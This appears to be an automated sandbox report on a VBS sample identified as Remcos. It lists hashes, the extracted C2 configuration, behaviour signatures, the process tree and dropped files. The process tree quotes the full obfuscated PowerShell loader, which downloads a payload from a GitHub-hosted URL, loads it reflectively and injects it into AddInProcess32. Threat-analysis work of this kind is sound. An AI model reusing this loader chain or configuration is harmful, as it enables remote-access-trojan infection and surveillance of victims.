Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-10-2024 01:34

General

  • Target

    c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793.vbs

  • Size

    483KB

  • MD5

    f263136dd6f26628d6e5fbc4f52f1c0a

  • SHA1

    294f56a012b9a3567ffd4b49a348a68cc64c73f8

  • SHA256

    c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793

  • SHA512

    3b728b0b0014125f23b8dfb5a7c06a6293a301971b127474bfbd59a96b4528123e0081cd90989e41bd5e5be8b04f4cf465a385fe637b4f0368344206d5c1aca5

  • SSDEEP

    12288:RGMsp3SuzEPHa8ZVVCRl0pzCwxn9Ki+GtW2r7aPZy6PLAAIbgTNixeQJbkLFjOnd:RGNQ7H+xC99

Malware Config

Extracted

Family

remcos

Botnet

INRY

C2

025sep.duckdns.org:3000

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    registros.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-Q0TS8L

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Capturas de pantalla

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c2efd467a5a52d2ed84d765cf004c8fab1f4fdf714feae96b7f4b6adaf5bd793.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4080
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JigodkFyaWFiTGUgJypNRFIqJykubkFtRVszLDExLDJdLUpvSU4nJykoICgoJ3swfXUnKydybCA9IHsnKycxJysnfWh0dHBzOicrJy8vcmF3LmdpdGh1YicrJ3VzZXInKydjbycrJ250ZW50LmMnKydvbS8nKydOb0RldGVjdE9uL05vRCcrJ2V0JysnZWN0JysnT24vcmUnKydmcycrJy8nKydoJysnZWFkJysncy9tYScrJ2luL0RldGFoJysnTicrJ290aC0nKydWLicrJ3QnKyd4dCcrJ3sxfTsnKycgezB9YmFzZTY0Q29udGVudCcrJyAnKyc9IChOZXctT2JqZWMnKyd0JysnIFN5Jysnc3QnKydlbS5OJysnZXQuVycrJ2ViQ2wnKydpJysnZW4nKyd0JysnKScrJy5EJysnb3duJysnbG8nKydhJysnZFMnKyd0cmluZycrJygnKyd7MH11cmwpOyB7MH1iaW5hcnlDJysnb250ZScrJ250ICcrJz0gW1MnKyd5cycrJ3QnKydlbScrJy5DbycrJ252ZXJ0XTo6RnJvbScrJ0JhJysncycrJ2U2JysnNCcrJ1N0cicrJ2luZyh7JysnMH1iJysnYXNlJysnNjQnKydDb24nKyd0ZW50KTsgJysneycrJzB9YXMnKydzZScrJ21ibCcrJ3kgPScrJyAnKydbUicrJ2UnKydmJysnbCcrJ2VjdGlvJysnbicrJy4nKydBc3NlbWJseScrJ106OicrJ0xvYScrJ2QoJysneycrJzB9YicrJ2luYScrJ3InKyd5QycrJ29udGUnKydudCk7JysnICcrJ1snKydkbmxpYi5JTycrJy5Ib21lJysnXScrJzo6VkEnKydJJysnKCcrJ3syfTAnKycvOVpsbScrJzIvZC8nKydlZScrJy5ldHMnKydhcCcrJy8vOnNwdHRoeycrJzJ9LCB7Mn1kZXMnKydhdGknKyd2JysnYWRvezJ9LCB7MicrJ31kZScrJ3MnKydhdCcrJ2l2YWQnKydveycrJzJ9LCcrJyAnKyd7JysnMicrJ31kZXNhdGknKyd2JysnYScrJ2QnKydvezJ9LCAnKyd7MicrJ31BZGRJJysnblByJysnb2MnKydlc3MzMicrJ3syJysnfSwgezJ9ezJ9LHsyfXsyJysnfSknKS1mIFtjaGFyXTM2LFtjaGFyXTM5LFtjaGFyXTM0KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1600
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&((vAriabLe '*MDR*').nAmE[3,11,2]-JoIN'')( (('{0}u'+'rl = {'+'1'+'}https:'+'//raw.github'+'user'+'co'+'ntent.c'+'om/'+'NoDetectOn/NoD'+'et'+'ect'+'On/re'+'fs'+'/'+'h'+'ead'+'s/ma'+'in/Detah'+'N'+'oth-'+'V.'+'t'+'xt'+'{1};'+' {0}base64Content'+' '+'= (New-Objec'+'t'+' Sy'+'st'+'em.N'+'et.W'+'ebCl'+'i'+'en'+'t'+')'+'.D'+'own'+'lo'+'a'+'dS'+'tring'+'('+'{0}url); {0}binaryC'+'onte'+'nt '+'= [S'+'ys'+'t'+'em'+'.Co'+'nvert]::From'+'Ba'+'s'+'e6'+'4'+'Str'+'ing({'+'0}b'+'ase'+'64'+'Con'+'tent); '+'{'+'0}as'+'se'+'mbl'+'y ='+' '+'[R'+'e'+'f'+'l'+'ectio'+'n'+'.'+'Assembly'+']::'+'Loa'+'d('+'{'+'0}b'+'ina'+'r'+'yC'+'onte'+'nt);'+' '+'['+'dnlib.IO'+'.Home'+']'+'::VA'+'I'+'('+'{2}0'+'/9Zlm'+'2/d/'+'ee'+'.ets'+'ap'+'//:sptth{'+'2}, {2}des'+'ati'+'v'+'ado{2}, {2'+'}de'+'s'+'at'+'ivad'+'o{'+'2},'+' '+'{'+'2'+'}desati'+'v'+'a'+'d'+'o{2}, '+'{2'+'}AddI'+'nPr'+'oc'+'ess32'+'{2'+'}, {2}{2},{2}{2'+'})')-f [char]36,[char]39,[char]34) )"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3440
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
          4⤵
            PID:3736
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
            4⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            PID:2608

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\remcos\registros.dat

      Filesize

      144B

      MD5

      6979ad5f99c6f19de616485d2750bd87

      SHA1

      5caa63d78ffc1aa22f7a5d887debfdfb6126f6db

      SHA256

      84620536abdc438f17c3e2e106e16a1af9ba2ba888ff544d240c197e00eb1891

      SHA512

      25f0eaaaf291aabbeccfc4fe01f5b560fd9adb3be46c9e96b8830be91fcd7b6af0557554c058b16ff50cb050a63448452f24fdcb760eab0db045ba10393acee6

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

      Filesize

      3KB

      MD5

      f41839a3fe2888c8b3050197bc9a0a05

      SHA1

      0798941aaf7a53a11ea9ed589752890aee069729

      SHA256

      224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

      SHA512

      2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      64B

      MD5

      3ca1082427d7b2cd417d7c0b7fd95e4e

      SHA1

      b0482ff5b58ffff4f5242d77330b064190f269d3

      SHA256

      31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

      SHA512

      bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dq3r3svd.vbq.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1600-1-0x00000225FCFE0000-0x00000225FD002000-memory.dmp

      Filesize

      136KB

    • memory/1600-11-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

      Filesize

      10.8MB

    • memory/1600-12-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

      Filesize

      10.8MB

    • memory/1600-0-0x00007FFF2CB43000-0x00007FFF2CB45000-memory.dmp

      Filesize

      8KB

    • memory/1600-30-0x00007FFF2CB40000-0x00007FFF2D601000-memory.dmp

      Filesize

      10.8MB

    • memory/2608-32-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-38-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-34-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-23-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-35-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-36-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-37-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-26-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-46-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-45-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-71-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-53-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-54-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-62-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/2608-70-0x0000000000400000-0x0000000000482000-memory.dmp

      Filesize

      520KB

    • memory/3440-22-0x0000015D23F10000-0x0000015D24130000-memory.dmp

      Filesize

      2.1MB